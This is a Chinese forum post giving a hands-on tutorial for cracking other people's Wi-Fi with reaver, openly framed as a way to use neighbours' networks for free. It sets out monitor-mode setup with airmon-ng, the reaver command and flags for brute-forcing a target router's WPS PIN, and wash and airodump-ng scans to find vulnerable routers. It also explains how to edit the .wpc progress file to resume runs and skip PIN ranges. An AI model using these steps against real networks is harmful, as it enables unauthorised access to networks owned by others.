reaver非常的不错,为我们ceng网带了最大的方便,使用简单,我来讲一下自己使用心得吧!
第一步,如果用虚拟机用vmware的,总会出现鼠标不灵点不到地方,换了一个 6.0.2 build-59824 版本后,鼠标变的非常的好用。但是自己还是想用新版,所以在网上看到说是选择linux系统就可以,自己就打开--编辑虚拟机设置---选项---虚拟名称---linux---ubuntu,试了一下鼠标问题就解决了。
第二步,是选择适合你的网卡linux系统,
1、现在有xiaopan 0.3.5对 8187L支持最不好,0.3.3对8187支持挺好。下载地址:http://anywlan.com/bbs/viewthread.php?tid=116228
2、还有就是cdlinux这个是最好,对网卡支持最多,程序也最多,特别是可以对硬盘文件复制方便使用,缺点就是容易死机。下载地址:http://anywlan.com/bbs/viewthread.php?tid=116572
3、beini这个也是最好的不过要自己手动添加reaver升级,优点是稳定,特别是1.1加强版对8187L支持最好,缺点就是作者再也不升级了。升级方法参考这里:http://anywlan.com/bbs/viewthread.php?tid=116600
第三步,使用reaver方法:
airmon-ng start wlan0 //启动mon0监控
reaver -i mon0 -b xx:xx:xx:xx:xx -a -S -vv -c 频道
-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key,可以提高PJ速度
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-c 频道
-p PIN码四位或八位 //可以用8位直接找到密码。
在11楼有更详细参数的说明
当出现有百分数时你就可以用crtl+c来暂停,它会将reaver的进度表文件保存在
1.3版:
/etc/reaver/MAC地址.wpc
1.4版:
/usr/local/etc/reaver/MAC地址.wpc
用资源管理器,手工将以MAC地址命名的、后辍为wpc的文件拷贝到U盘或硬盘中,
下次重启动后,再手工复制到/etc/reaver/ 目录下即可。
还有命令
airodump-ng mon0 用来扫描周围无线信号
wash -i mon0 -C 这个是用来检测周围无线支持PIN的路由
第四步:技巧
将mac地址.wpc 备份后,下次可以继续使用。
wpc结构
0 //这个地方是说它的前4位PIN码的进度位置数
0 //这个地方是说后3位PIN数的已经运行测试位置数
0 //0时没有找到,当为1时找到前四位,当为2时全部找到。
1234
0123
1111
2222
3333
.......
.......
9999
001
002
003
.....
.....
999
所以前四位很重要,将已经知道的前四们放在最前面会提高你的PIN速度,我们也可以手动修改wpc文件第一行,如我们要从3000开始pin你可以将它修改为3004,这样它就会从3000开始PIN了。当我们在PIN时就可以不用保存虚拟机快照了,只要你记住了前四位,你下载用软件修改WPC文件就可了。同样我们也可以用http://www.anywlan.com/bbs/thread-116174-1-1.html这个作者提供的优化PIN码加快速度。
cdlinux对wpc文件最方便,beini和xiaopan对wpc修改要用命令vi来修改,vi的使用方法很简单 vi XXXX.wpc 打开就可以了,输入i进行编辑,escap退回命令模式,输入:wq退出保存。具体方法看这里:http://www.newsmth.net/pc/pccon.php?id=5721&nid=220783